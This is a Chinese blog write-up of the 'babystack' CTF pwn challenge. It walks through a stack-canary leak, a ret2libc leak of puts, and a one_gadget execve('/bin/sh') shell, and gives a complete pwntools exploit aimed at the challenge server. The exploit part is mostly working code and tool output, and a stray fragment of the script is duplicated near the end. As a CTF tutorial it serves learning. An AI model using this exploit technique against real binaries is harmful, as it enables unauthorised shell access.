one_gadget用法|攻防世界pwn进阶区babystack

0x00.检查保护

devil@ubuntu:~/adworld/pwn$ checksec babystack
[*] '/home/devil/adworld/pwn/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO ;无法修改got表
    Stack:    Canary found ;不能直接进行溢出
    NX:       NX enabled ;堆栈不可执行
    PIE:      No PIE (0x400000)

0x01.one_gadget

本题给了libc版本,可以使用one_gadget工具
我也是第一次使用one_gadget,简单介绍一下:

功能:查找已知的libc中exevce("/bin/sh")语句的地址
用法: one_gadget libc-x.xx.so
官方文档点击此处

devil@ubuntu:~/adworld/pwn$ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

通过使用one_gadget可以找到获得shell的函数的地址

execve_addr = 0x45216

0x02.ida调试

在这里插入图片描述
可以看出v6储存的是canary,s是我们输入的字符串,二者相距0x88字节。
则我们先输入0x88个字节,再利用print函数就可以把canary的值带出来。
代码如下:

payload1 = 'A'*0x88
r.sendlineafter(">> ","1")
r.sendline(payload1)
r.sendlineafter(">> ","2")
r.recvuntil('A'*0x88+'\n')
canary = u64(r.recv(7).rjust(8,'\x00'))

有了canary的值我们可以进行溢出,64位程序溢出还需要一个pop rdi;ret
ROPgadget

0x0000000000400a93 : pop rdi ; ret

0x03.解题思路:

用’a’*0x88字节带出canary,知道canary即可进行溢出。
溢出利用puts函数输出puts的函数地址,再利用puts_addr-libc.symbols['puts']得到libc偏移offset
execve_addr=offset+one_gadget得到的execve代码

0x04.exp

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
r = remote("111.198.29.45",51596)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
execve = 0x45216 #one_gadget得到
main_addr = 0x400908 #main函数地址
rdi_addr = 0x400a93 #pop rdi;ret

payload1 = 'A'*0x88 #s和canary距离
r.sendlineafter(">> ","1")
r.sendline(payload1) #要使用sendline,即输入'A'*0x88后还要有一个回车,目的是将canary尾部的'\x00'覆盖为'\x0A'
#用puts函数输出canary时,puts函数遇到'\x00'会截断,使用'\x0A'覆盖'\x00',才能将canary输出
#注意,本程序是小端字节序(低位地址对应高位字节)
r.sendlineafter(">> ","2")
r.recvuntil('A'*0x88+'\n') #要等到'\n'之后再读取
canary = u64(r.recv(7).rjust(8,'\x00')) #r.recv(7)是由于puts输出的canary最后一位是'\x0A',要重新换成'\x00'

payload2 = 'A'*0x88
payload2+=p64(canary)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)# 调用puts函数将puts函数的地址输出
r.sendlineafter(">> ","1")
r.sendline(payload2)
r.sendlineafter(">> ","3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))

offset = puts_addr - libc.symbols['puts']
execve_addr = offset + execve

payload3 = 'A'*0x88 + p64(canary) + p64(0xdeadbeef) + p64(execve_addr)

r.sendlineafter(">> ","1")
r.sendline(payload3)
r.sendlineafter(">> ","3")
r.interactive()

ter(">> ","1")
r.sendline(payload3)
r.sendlineafter(">> ","3")
r.interactive()
发布了107 篇原创文章 · 获赞 68 · 访问量 7765

猜你喜欢

转载自blog.csdn.net/weixin_43092232/article/details/105085880
今日推荐